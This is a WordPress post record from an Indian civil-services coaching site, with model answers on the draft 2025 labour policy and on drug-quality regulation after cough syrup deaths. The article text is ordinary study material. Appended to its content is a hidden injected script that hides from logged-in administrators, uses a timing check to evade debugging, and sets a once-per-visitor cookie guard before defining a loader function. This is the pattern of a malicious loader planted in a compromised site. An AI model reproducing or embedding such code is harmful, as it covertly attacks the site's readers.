{"id":2552,"date":"2025-10-09T10:56:14","date_gmt":"2025-10-09T10:56:14","guid":{"rendered":"https:\/\/iasquest.com\/?p=2552"},"modified":"2026-02-11T18:50:48","modified_gmt":"2026-02-11T18:50:48","slug":"one-nation-integrated-workforce-indias-pharmaceutical-regulatory-framework","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/one-nation-integrated-workforce-indias-pharmaceutical-regulatory-framework\/","title":{"rendered":"One Nation Integrated Workforce &#038; India\u2019s pharmaceutical regulatory framework"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#ff0000\"><strong>1. The draft National Labour and Employment Policy, 2025 envisions a \u201cOne Nation Integrated Workforce\u201d through universal social security, digital compliance, and gender-inclusive labour reforms. Critically examine how this policy can transform India\u2019s labour ecosystem to ensure protection, productivity, and participation for all workers.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 II: Government Policies and Interventions for Development in various sectors and Issues arising out of their Design and Implementation. Development Processes and the Development Industry \u2014 the Role of NGOs, SHGs, various groups and associations, donors, charities, institutional and other stakeholders.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS: Draft labour policy unites social security schemes<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">The draft National Labour and Employment Policy, 2025 (Shram Shakti Niti) represents a paradigm shift in India\u2019s labour governance, aiming to build a fair, inclusive, and future-ready world of work aligned with the goal of a developed India by 2047.<strong>\u00a0<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-4\"><strong>Challenges in Implementing Shram Shakti Niti, 2025<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-5\">\n<li><strong>Centre\u2013State Coordination:<\/strong> Diverse administrative capacities may hinder uniform implementation across States.<\/li>\n\n\n\n<li><strong>Financial Constraints:<\/strong> Ensuring universal social security for all workers demands high and sustained fiscal support.<\/li>\n\n\n\n<li><strong>Digital Divide:<\/strong> Heavy reliance on digital systems risks excluding informal and rural workers with low digital literacy.<\/li>\n\n\n\n<li><strong>Scheme Integration Issues:<\/strong> Merging EPFO, ESIC, PM-JAY, and welfare boards poses data and interoperability challenges.<\/li>\n\n\n\n<li><strong>Low Female Participation:<\/strong> Persistent social barriers and safety concerns limit women\u2019s entry into the workforce.<\/li>\n\n\n\n<li><strong>Skill Mismatch:<\/strong> Training systems remain poorly aligned with emerging green and digital jobs.<\/li>\n\n\n\n<li><strong>Weak Enforcement:<\/strong> Self-certification and limited inspection capacity may dilute labour standards.<\/li>\n\n\n\n<li><strong>Institutional Resistance:<\/strong> Bureaucratic inertia and stakeholder opposition can delay implementation.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-6\"><a><\/a><strong>Key Features and Vision<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">The policy seeks to establish a <strong>universal and portable social security system<\/strong> by integrating the EPFO, ESIC, PM-JAY, e-Shram, and State welfare boards into a single digital framework. It emphasizes:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-8\">\n<li><strong>Universal worker registration and digital compliance<\/strong>, enabling seamless benefit portability.<\/li>\n\n\n\n<li><strong>Occupational safety and health reforms<\/strong> with risk-based inspections and gender-sensitive standards.<\/li>\n\n\n\n<li><strong>Promotion of green and decent jobs<\/strong>, AI-driven governance, and skill convergence.<\/li>\n\n\n\n<li><strong>Phased implementation<\/strong> with measurable outcomes via the Labour and Employment Policy Evaluation Index (LPEI).<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-9\"><a><\/a><strong>Transformative Potential<\/strong><\/h3>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-10\"><a><\/a><strong>a) Worker Protection and Inclusion<\/strong><\/h4>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\">By extending coverage to informal and gig workers, the policy addresses the long-standing exclusion of nearly 90% of India\u2019s workforce. Integration of multiple schemes under one account can enhance efficiency, transparency, and equity.<strong>\u00a0<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-12\"><strong>b) Boosting Productivity and Formalization<\/strong><\/h4>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\">Simplified compliance through a single-window system encourages MSME growth and formal job creation. AI-based governance can reduce bureaucratic inefficiencies, while a national labour database will improve policymaking.<strong>\u00a0<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-14\"><strong>c) Enhancing Participation and Gender Equity<\/strong><\/h4>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">The target of increasing women\u2019s labour force participation to 35% by 2030, along with entrepreneurship and career guidance initiatives, fosters inclusivity and economic empowerment.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">The Shram Shakti Niti, 2025 aspires to redefine India\u2019s labour landscape by balancing <strong>worker welfare with enterprise growth<\/strong>. If implemented effectively, it can realize the vision of \u201cShram se Shakti\u201d\u2014transforming India\u2019s vast workforce into a secure, skilled, and empowered pillar of Viksit Bharat 2047.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (UPSC 2019)<\/strong> <br><strong>Q. Performance of welfare schemes that are implemented for vulnerable sections is not so effective due to absence of their awareness and active involvement at all stages of the policy process \u2013 Discuss.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/draft-labour-policy-proposes-to-integrate-all-social-security-schemes\/article70140320.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/draft-labour-policy-proposes-to-integrate-all-social-security-schemes\/article70140320.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-18 wp-block-paragraph\" style=\"color:#ff0000\"><strong>2. Repeated incidents of fatalities linked to contaminated cough syrups have exposed gaps in India\u2019s pharmaceutical regulatory framework. Critically analyse the systemic challenges in ensuring drug quality and export accountability, and suggest reforms to restore global trust in India\u2019s pharma sector.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 II: Government Policies and Interventions for Development in various sectors and Issues arising out of their Design and Implementation. Development Processes and the Development Industry \u2014 the Role of NGOs, SHGs, various groups and associations, donors, charities, institutional and other stakeholders.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>IN NEWS: WHO seeks clarification from India if cough syrup has been exported to other countries.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">Medicine safety is a core public-health and governance responsibility. When pharmaceutical products cause harm, it signals breakdowns across manufacturing, quality assurance, regulatory oversight, surveillance and accountability. A credible response must therefore be multi-dimensional \u2014 preventive, corrective and punitive.<strong>\u00a0<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-21\"><strong>Systemic challenges:<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li><strong>Fragmented regulatory architecture: <\/strong>Regulatory duties are split between central (CDSCO) and State drug controllers, causing overlap, inconsistent enforcement and gaps in oversight.<\/li>\n\n\n\n<li><strong>Weak quality assurance and testing: <\/strong>Inadequate mandating and monitoring of raw-material testing, occasional reliance on manufacturer self-certification, and under-resourced quality labs create risks of toxic contaminants entering the supply chain.<\/li>\n\n\n\n<li><strong>Supply-chain opacity:<\/strong> Poor batch-level traceability, weak vendor due-diligence for active pharmaceutical ingredients (APIs) and intermediates, and informal distribution channels impede rapid identification and recall.<\/li>\n\n\n\n<li><strong>Insufficient pharmacovigilance: <\/strong>Passive adverse-event reporting, low reporting rates and slow data analysis delay detection of drug-safety signals.<\/li>\n\n\n\n<li><strong>Enforcement deficits: <\/strong>Penalties and criminal deterrents are not always robust or timely; prosecution and product recall mechanisms are slow.<\/li>\n\n\n\n<li><strong>Export accountability gaps: <\/strong>Lack of routine disclosure about exported batches and limited coordination with importing countries\/WHO undermines timely international alerts.<\/li>\n\n\n\n<li><strong>Human\u2013technical resource constraints: <\/strong>Many State regulators and testing laboratories lack trained personnel, modern equipment and accreditation.<\/li>\n\n\n\n<li><strong>Regulatory inertia and industry pressures: <\/strong>Complex legacy rules, political economy pressures and regulatory capture can blunt reform and strict action.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-23\"><strong>Reforms and corrective measures:<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-24\">\n<li><strong>Strengthen institutional architecture: <\/strong>Rebalance roles\u2014empower CDSCO as a strong, autonomous central regulator while upgrading State regulator capacity through funding, training and standardized SOPs.<\/li>\n\n\n\n<li><strong>Mandatory end-to-end quality testing: <\/strong>Require certificate-of-analysis for all APIs and finished products from accredited labs (NABL), with random independent testing before market release.<\/li>\n\n\n\n<li><strong>Batch-level traceability and digitalisation: <\/strong>Institute mandatory scannable barcodes\/QRs and a national drug-traceability registry to enable rapid recalls and export tracking.<\/li>\n\n\n\n<li><strong>Robust pharmacovigilance:<\/strong> Make adverse-event reporting mandatory for prescribers and manufacturers, integrate real-time analytics and public dashboards for transparency.<\/li>\n\n\n\n<li><strong>Tighter export controls &amp; international coordination:<\/strong> Mandate declaration of export destinations, pre-export testing, and immediate cross-border alerts via WHO channels; negotiate mutual-recognition and joint-inspection arrangements.<\/li>\n\n\n\n<li><strong>Stronger enforcement &amp; penalties: <\/strong>Fast-track prosecution, impose corporate liability, higher financial penalties and licence revocation for safety breaches.<\/li>\n\n\n\n<li><strong>Lab and supply-chain upgrades: <\/strong>Scale up accredited testing infrastructure, enforce GMP across API suppliers, and require regular vendor audits.<\/li>\n\n\n\n<li><strong>Regulatory reform &amp; clinical safeguards: <\/strong>Revisit approvals of questionable FDCs, adopt risk-based surveillance, and strengthen pediatric safety rules.<\/li>\n\n\n\n<li><strong>Public transparency and accountability: <\/strong>Publish inspection reports, recall data and corrective actions; protect whistleblowers.<\/li>\n\n\n\n<li><strong>Capacity building &amp; stakeholder engagement: <\/strong>Train regulators, involve clinicians and civil society in surveillance and consumer awareness campaigns.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">Ensuring drug quality is not merely a technical task but a governance imperative. Only a combination of stronger institutions, rigorous testing, digital traceability, firm enforcement and transparent international cooperation will prevent recurrence, protect children\u2019s lives and restore confidence in India\u2019s pharmaceutical sector.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (UPSC 2024)<\/strong> <br><strong>Q.<\/strong> <strong>In a crucial domain like the public healthcare system the Indian State should play a vital role to contain the adverse impact of marketisation of the system. Suggest some measures through which the State can enhance the reach of public healthcare at the grassroots level.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/health\/who-seeks-clarification-from-india-if-cough-syrup-linked-to-child-deaths-here-have-been-exported\/article70139791.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/health\/who-seeks-clarification-from-india-if-cough-syrup-linked-to-child-deaths-here-have-been-exported\/article70139791.ece<\/strong><\/a><strong><\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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